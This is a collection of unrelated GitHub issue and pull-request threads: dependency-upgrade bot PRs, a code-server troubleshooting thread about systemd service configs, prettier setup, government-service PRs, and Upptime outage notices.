The pull request was not backported as there were no branches to backport to. If this is a mistake, please apply the desired version labels or run the backport tool manually.
Manual backport
To create the backport manually run:
backport --pr 2089

Questions ?
Please refer to the Backport tool documentation


text:
chore(deps): upgrade dependencies

Upgrades project dependencies. See details in workflow run.

Automatically created by projen via the "upgrade-2.x" workflow

⚪ Backport skipped
The pull request was not backported as there were no branches to backport to. If this is a mistake, please apply the desired version labels or run the backport tool manually.
Manual backport
To create the backport manually run:
backport --pr 711

Questions ?
Please refer to the Backport tool documentation


text:
chore(deps): upgrade dependencies

Upgrades project dependencies. See details in workflow run.

Automatically created by projen via the "upgrade-k8s-24-main" workflow

⚪ Backport skipped
The pull request was not backported as there were no branches to backport to. If this is a mistake, please apply the desired version labels or run the backport tool manually.
Manual backport
To create the backport manually run:
backport --pr 1244

Questions ?
Please refer to the Backport tool documentation


text:
chore(deps): upgrade dependencies

Upgrades project dependencies. See details in workflow run.

Automatically created by projen via the "upgrade-k8s-24-main" workflow

⚪ Backport skipped
The pull request was not backported as there were no branches to backport to. If this is a mistake, please apply the desired version labels or run the backport tool manually.
Manual backport
To create the backport manually run:
backport --pr 1693

Questions ?
Please refer to the Backport tool documentation


text:
chore(deps): upgrade dependencies

Upgrades project dependencies. See details in workflow run.

Automatically created by projen via the "upgrade-k8s-25-main" workflow

⚪ Backport skipped
The pull request was not backported as there were no branches to backport to. If this is a mistake, please apply the desired version labels or run the backport tool manually.
Manual backport
To create the backport manually run:
backport --pr 1735

Questions ?
Please refer to the Backport tool documentation


text:
chore(deps): upgrade configuration

Upgrades project dependencies. See details in workflow run.

Automatically created by projen via the "upgrade-configuration-k8s-26-main" workflow

⚪ Backport skipped
The pull request was not backported as there were no branches to backport to. If this is a mistake, please apply the desired version labels or run the backport tool manually.
Manual backport
To create the backport manually run:
backport --pr 3136

Questions ?
Please refer to the Backport tool documentation


text:
Hired Banner z-index

The version selector and the cdn provider selector show up over the Hired Banner.

Maybe we could just remove the banner now ...

authors: PeterDaveHello nikhs

repo: cdnjs/new-website

license: ISC


text:
feat: Initial set up + test for login

Added dotenv for keeping credentials out of tests and source control
Created a test for login (throw an error when the login fails)
Used a python version file for consistency when developing

Thank you for doing this!

authors: cdnninja robertbeal


text:
Working directory not opened on launch

code-server version: 2.1523-vsc1.38.1
OS Version: Debian 9.11, Google Cloud Platform

Description
The working directory is not loaded when opening the browser, worked on previous versions of code-server. No directory is loaded at all. I have to open it manually.
code-server.service (running as part of systemctl)
[Unit]
Description=VS Code Server
After=network.target
AssertPathExists=/home/steve/go/src/github.com/companyorg/repo

[Service]
Type=simple
Environment=GOPATH=/home/steve/go
Environment=PATH=/home/steve/.go/bin:/home/steve/bin:/usr/local/bin:/usr/bin:/bin:/home/steve/go/bin
Environment=GOROOT=/home/steve/.go
WorkingDirectory=/home/steve/go/src/github.com/companyorg/repo
ExecStart=/usr/bin/code-server --allow-http --no-auth --port=8443
User=steve
Restart=always
RestartSec=1

[Install]
WantedBy=multi-user.target

Steps to Reproduce

Create a service under /etc/systemd/system/code-server.service by placing the above config in a file
sudo systemctl enable code-server.service
sudo systemctl start code-server.service
Open a browser and go to the code server at 8443. No directory is opened.

You're using v1 flags, and you're not passing $PWD to ExecStart, please refer to our examples in doc/

I have the same problem, using -v $PWD:/home/coder/project or  --project-directory $PWD:/home/coder/project doesn't work either.
Here is my docker-compose:
version: '3.7'
services:
codeserver:
    image: codercom/code-server:v2
    container_name: codeserver
    restart: always
    environment:
     - PUID=1000
     - PGID=1000
     - TZ=Europe/Stockholm
     - PASSWORD=123
    ports:
      - 127.0.0.1:8080:8080
    volumes:
       - coder:/home/coder
    command: --auth password

volumes:
coder:
driver: local-persist
driver_opts:
mountpoint: /home/aron/code/coder
Cheers! And thank you for doing this, I love it 🥇

I have the same problem, using -v $PWD:/home/coder/project or --project-directory $PWD:/home/coder/project doesn't work either.
Here is my docker-compose:
version: '3.7'

services:

    codeserver:
        image: codercom/code-server:v2
        container_name: codeserver
        restart: always
        environment:
         - PUID=1000
         - PGID=1000
         - TZ=Europe/Stockholm
         - PASSWORD=123
        ports:
          - 127.0.0.1:8080:8080
        volumes:
           - coder:/home/coder
        command: --auth password
volumes:
    coder:
        driver: local-persist
        driver_opts:
            mountpoint: /home/aron/code/coder

Cheers! And thank you for doing this, I love it 🥇

Please use $(pwd) for now. It's something to deal with how the command parser not handling environment variables properly.

You're using v1 flags, and you're not passing $PWD to ExecStart, please refer to our examples in doc/

I am passing $(pwd) to ExecStart as such:
ExecStart=/usr/bin/code-server $(pwd) --allow-http --no-auth --port=8443
Why doesn't it work?

Not sure what happened but I cannot reproduce your issue in Debian 10 in GCP.

Instead of $(pwd)  just give it '.' as an argument.  That was my solution.
You may also want to ensure the HOME environment variable is set correctly.

Thank you. That worked!

You're using v1 flags, and you're not passing $PWD to ExecStart, please refer to our examples in doc/

did the documentation remove the systemd method?

I have this working in RHEL 7.7
[student1@ansible ~]$ cat /etc/systemd/system/code-server.service
[Unit]
Description=Code Server IDE
After=network.target

[Service]
Type=simple
User=student1
WorkingDirectory=/home/student1
Restart=on-failure
RestartSec=10
Environment="PASSWORD=ansible1234"

ExecStart=/opt/code-server --cert $(pwd)
ExecStop=/bin/kill -s QUIT $MAINPID
StandardOutput=file:/var/log/code-server-output.log
StandardError=file:/var/log/code-server-error.log

[Install]
WantedBy=multi-user.target

but this fails to work on RHEL8.... nothing in journalctl....
this is so strange to me....
this works->
[student1@ansible ~]$ /opt/code-server --cert

this works->
[student1@ansible ~]$ /opt/code-server --cert $pwd

this does not work
[student1@ansible ~]$ /opt/code-server --cert $(pwd)

this does not work
[student1@ansible ~]$ /opt/code-server --cert /home/student1

this is where I get stuck... the example was very similar to this...

I think that argument will get interpreted as the value to --cert.
Could try code-server --cert -- /home/student1. $pwd is probably not defined which is why it works the same as --cert alone.

I don't think that works either :(. That was my original guess->
[student1@ansible ~]$ sudo vi /etc/systemd/system/code-server.service

[student1@ansible ~]$ cat /etc/systemd/system/code-server.service
[Unit]
Description=Code Server IDE
After=network.target

[Service]
Type=simple
User=student1
WorkingDirectory=/home/student1
Restart=on-failure
RestartSec=10
Environment="PASSWORD=ansible1234"

ExecStart=/opt/code-server /home/student1 --cert
ExecStop=/bin/kill -s QUIT $MAINPID
StandardOutput=file:/var/log/code-server-output.log
StandardError=file:/var/log/code-server-error.log

[Install]
WantedBy=multi-user.target

[student1@ansible ~]$ sudo systemctl daemon-reload
[student1@ansible ~]$ sudo systemctl restart code-server.service
[student1@ansible ~]$ sudo systemctl status code-server.service
● code-server.service - Code Server IDE
Loaded: loaded (/etc/systemd/system/code-server.service; enabled; vendor preset: disabled)
Active: activating (auto-restart) (Result: exit-code) since Tue 2020-03-31 23:11:24 UTC; 4s ago
Process: 18742 ExecStart=/opt/code-server /home/student1 --cert (code=exited, status=209/STDOUT)
Main PID: 18742 (code=exited, status=209/STDOUT)
Mar 31 23:11:24 ansible systemd[1]: code-server.service: Main process exited, code=exited, status=209/STDOUT
Mar 31 23:11:24 ansible systemd[1]: code-server.service: Failed with result 'exit-code'.
[student1@ansible ~]$

however.... that one does seem to work on the command line->
```[student1@ansible ~]$ /opt/code-server /home/student1 --cert
info  Server listening on https://localhost:8080
info    - Password is 85438d951f9d1ae9f80a7e2e
info      - To use your own password, set the PASSWORD environment variable
info      - To disable use `--auth none`
info    - Using generated certificate and key for HTTPS```

OMG..... slap me
remove these two lines
StandardOutput=file:/var/log/code-server-output.log
StandardError=file:/var/log/code-server-error.log

not sure where I got those and it seems to work fine
so the working file for anyone that googles this a year from now->
[Unit]
Description=Code Server IDE
After=network.target

[Service]
Type=simple
User=student1
WorkingDirectory=/home/student1
Restart=on-failure
RestartSec=10
Environment="PASSWORD=blahblahblah"

ExecStart=/opt/code-server /home/student1 --cert
ExecStop=/bin/kill -s QUIT $MAINPID

[Install]
WantedBy=multi-user.target

authors: IPvSean akash-anchor antofthy code-asher dynematic gracenoah sr229

repo: cdr/code-server


text:
--enable-proposed-api flag attempts to start another instance of code-server

--enable-proposed-api arg attempts to start another instance of code-server.

Web Browser: Chrome
Local OS: Arch Linux
Remote OS: OSX
Remote Architecture:  x86_64
code-server --version: 3.5.0

Yup, this is currently the expected behavior. We could change it though so if you run this while already inside code-server it'd enabled the proposed API for the current instance. Is this what VS Code does?

authors: code-asher rabidpug


text:
[DOC]: Set up prettier and pre-commit hook to prettify codebase

Implementation:

Setup husky: https://typicode.github.io/husky/get-started.html
Install prettier as dev dependency
Add .prettierrc file with the below configurations.{
	"semi": false,
	"tabWidth": 4,
    "printWidth": 100,
    "singleQuote": true,
    "trailingComma": "none",
    "bracketSameLine": false,
}

Add dist and node_modules to .prettierignore file
Run prettier on all files.

@sstephanyy: This might be an even better first issue. Let me know if you want to claim this one instead. I have also updated the contributing[https://github.com/cdrani/chorus/blob/develop/contributing.md) file with steps for local development.

@cdrani thanks for the contribution guide, will be very helpful. Yes, I wanna claim this one :)

@cdrani  sorry to bother again, but I'm facing this error again and again everytime I git commit. Do you have an ideia of what am I doing wrong?

Solved in #212.

authors: cdrani sstephanyy

repo: cdrani/chorus


text:
Add NITHA as a new province

Summary | Résumé
It's a Saskatchewan-based indigenous health authority. Adding it via a migration because we don't allow adding/editing provinces via the Django admin. Updated the provinces so that the abbreviation can be 5 characters long.
Also I renamed the last migration we had to give it a more human-friendly name.
Test instructions | Instructions pour tester la modification
Log into the Django admin backend and check Profiles > Provinces. You should see NITHA in there as a new province.

Merci!

Merci!

repo: cds-snc/covid-alert-portal


text:
pinpoint-sms-callbacks lambda function

Summary | Résumé
New lambda function to handle delivery receipts for new Pinpoint implementation. Will hand them off to a new celery task for processing. Note that this does not change the current email nor sms processing lambdas.
Related Issues | Cartes liées

https://app.zenhub.com/workspaces/notify-planning-core-6411dfb7c95fb80014e0cab0/issues/gh/cds-snc/notification-planning-core/286

Test instructions | Instructions pour tester la modification
Get everything in staging and see what happens.
Release Instructions | Instructions pour le déploiement
No affect on current SMS / SNS flow.
Reviewer checklist | Liste de vérification du réviseur

[ ] This PR does not break existing functionality.
[ ] This PR does not violate GCNotify's privacy policies.
[ ] This PR does not raise new security concerns. Refer to our GC Notify Risk Register document on our Google drive.
[ ] This PR does not significantly alter performance.
[ ] Additional required documentation resulting of these changes is covered (such as the README, setup instructions, a related ADR or the technical documentation).

⚠ If boxes cannot be checked off before merging the PR, they should be moved to the "Release Instructions" section with appropriate steps required to verify before release. For example, changes to celery code may require tests on staging to verify that performance has not been affected.

I assume next steps are to throw this in terraform? If so reminder to add a build step in the ECR folder for bootstraps
yep, added that in the related terraform PR.

repo: cds-snc/notification-lambdas


text:
(fix) FileInput max upload size for all files

Summary | Résumé
1-3 sentence description of the changed you're proposing.
Please include the GitHub issue number or relevant acceptance criteria.
To specify that this PR closes a particular issue you can use the following format
to reference and issue closes #[issue number]. You can use any number of keywords to link
an issue to a PR. Please see the following section
of GitHub's documentation.
For any UI changes please include screenshots at different breakpoints. It would also be helpful to include a
before and after comparison for each change i.e.

Before
After

Insert Image showing before the change was made
Insert Image showing after a change was made

Test instructions | Instructions pour tester la modification
Sequential steps (1., 2., 3., ...) that describe how to test this change. You should include
anything outside the README that will help the developer access your changes and be able to test
them such as any environmental setup steps and/or any time-based elements that this requires.
This will help a developer test things out without too much detective work.
Unresolved questions / Out of scope | Questions non résolues ou hors sujet
Are there any related issues or tangent features you consider out of scope for
this issue that could be addressed in the future? If so please create issues and provide
links in this section
Pull Request Checklist
Please complete the following items in the checklist before you request a review:

[ ] Have you completely tested the functionality of change introduced in this PR? Is the PR solving the problem it's meant to solve within the scope of the related issue?
[ ] The PR does not introduce any new issues such as failed tests, console warnings or new bugs.
[ ] If this PR adds a package have you ensured its licensed correctly and does not add additional security issues?
[ ] Is the code clean, readable and maintainable? Is it easy to understand and comprehend.
[ ] Does your code have adequate comprehensible comments? Do new functions have docstrings?
[ ] Have you modified the change log and updated any relevant documentation?
[ ] Is there adequate test coverage? Both unit tests and end-to-end tests where applicable?
[ ] If your PR is touching any UI is it accessible? Have you tested it with a screen reader? Have you tested it with automated testing tools such as axe?

Proposed default hint text for file upload:

EN: Files must not exceed 6 MB in total.
FR: Les fichiers ne doivent pas dépasser 6 Mo au total.

Proposed default error message text for file upload:

EN: Files added to the form exceed the total size limit. Upload smaller files for a maximum of 6 MB.
FR: Les fichiers ajoutés au formulaire dépassent la limite de taille totale. Téléversez des fichiers plus petit pour un maximum de 6 Mo.

Proposed link for error message:

Go to first file uploaded, assuming we're solving for a one-page context first.
Revisit later when we make file uploads an available feature for all clients.

authors: anikbrazeau dsamojlenko

repo: cds-snc/platform-forms-client


text:
🛑 tanecni-divadlo.cz is down

In dbd1681, tanecni-divadlo.cz (https://www.tanecni-divadlo.cz) was down:

HTTP code: 0
Response time: 0 ms

Resolved: tanecni-divadlo.cz is back up in c34c840.

repo: cebreus/upptime


text:
🛑 tanecni-divadlo.cz is down

In e5465d5, tanecni-divadlo.cz (https://www.tanecni-divadlo.cz) was down:

HTTP code: 0
Response time: 0 ms

Resolved: tanecni-divadlo.cz is back up in 1e4c7d3.


text:
🛑 tanecni-divadlo.cz is down

In dc1860b, tanecni-divadlo.cz (https://www.tanecni-divadlo.cz) was down:

HTTP code: 0
Response time: 0 ms

Resolved: tanecni-divadlo.cz is back up in 60bd08e.


text:
🛑 tanecni-divadlo.cz is down

In f9166fb, tanecni-divadlo.cz (https://www.tanecni-divadlo.cz) was down:

HTTP code: 0
Response time: 0 ms

Resolved: tanecni-divadlo.cz is back up in a80c3d4.


text:
🛑 Bali 2017 is down

In b04a32b, Bali 2017 ($SITE_BALI) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Bali 2017 is back up in cde4401 after 3 minutes.


text:
🛑 tanecni-divadlo.cz is down

In fb18fd9, tanecni-divadlo.cz (https://www.tanecni-divadlo.cz) was down:

HTTP code: 0
Response time: 0 ms

Resolved: tanecni-divadlo.cz is back up in ef25b31.


text:
🛑 tanecni-divadlo.cz is down

In f82df97, tanecni-divadlo.cz (https://www.tanecni-divadlo.cz) was down:

HTTP code: 0
Response time: 0 ms

Resolved: tanecni-divadlo.cz is back up in 29c82b3.


text:
🛑 tanecni-divadlo.cz is down

In 921c59b, tanecni-divadlo.cz (https://www.tanecni-divadlo.cz) was down:

HTTP code: 0
Response time: 0 ms

Resolved: tanecni-divadlo.cz is back up in 64a0d30.


text:
🛑 CDN is down

In 1e503ea, CDN (https://cdn.ceccun.com/cdynamic/captive) was down:

HTTP code: 522
Response time: 15429 ms

Resolved: CDN is back up in 384e817.

repo: ceccun/status


text:
🛑 CDN is down

In 971fbab, CDN (https://cdn.ceccun.com/cdynamic/captive) was down:

HTTP code: 522
Response time: 16012 ms

Resolved: CDN is back up in 8216024.


text:
🛑 CDN is down

In 77a866c, CDN (https://cdn.ceccun.com/cdynamic/captive) was down:

HTTP code: 522
Response time: 15667 ms

Resolved: CDN is back up in 25c13c8.


text:
🛑 CDN is down

In 022825e, CDN (https://cdn.ceccun.com/cdynamic/captive) was down:

HTTP code: 522
Response time: 15686 ms

Resolved: CDN is back up in b7bf2e1.


text:
🛑 CDN is down

In 06d991c, CDN (https://cdn.ceccun.com/cdynamic/captive) was down:

HTTP code: 502
Response time: 385 ms

Resolved: CDN is back up in d6b13c3.


text:
🛑 CDN is down

In 3bacd99, CDN (https://cdn.ceccun.com/cdynamic/captive) was down:

HTTP code: 502
Response time: 515 ms

Resolved: CDN is back up in 3bab07a.


text:
Update plugin.cfg

Seems like the plugin name is "Shapes" (you can see it in Godot plugin dock and inside this repository) but this plugin repository and the reference for the plugin it's "Anima".
This can generate confusions in the future.

Thanks, In origin I wanted to create a plugin to create shapes and forgot to change it :)

authors: AnidemDex ceceppa

repo: ceceppa/anima


text:
POT File by text domain

Hello, if I have a few text domain in the WordPress Theme, can I specify only the required one and will be generated by skipping not specified?

It's not possible to exclude strings by text domain, but you can configure which files are included or excluded from the scan. Ideally your project shouldn't be mixing multiple domains in the same file. See #64 for more discussion.

OK, thanks for your reply =)

authors: bradyvercher wayheming


text:
chore(main): release 1.0.2

:robot: I have created a release beep boop
1.0.2 (2024-08-04)
Bug Fixes

render summary in docs (d204b79)

This PR was generated with Release Please. See documentation.

:robot: Created releases:

v1.0.2
:sunflower:

repo: cedricziel/php-baserow-client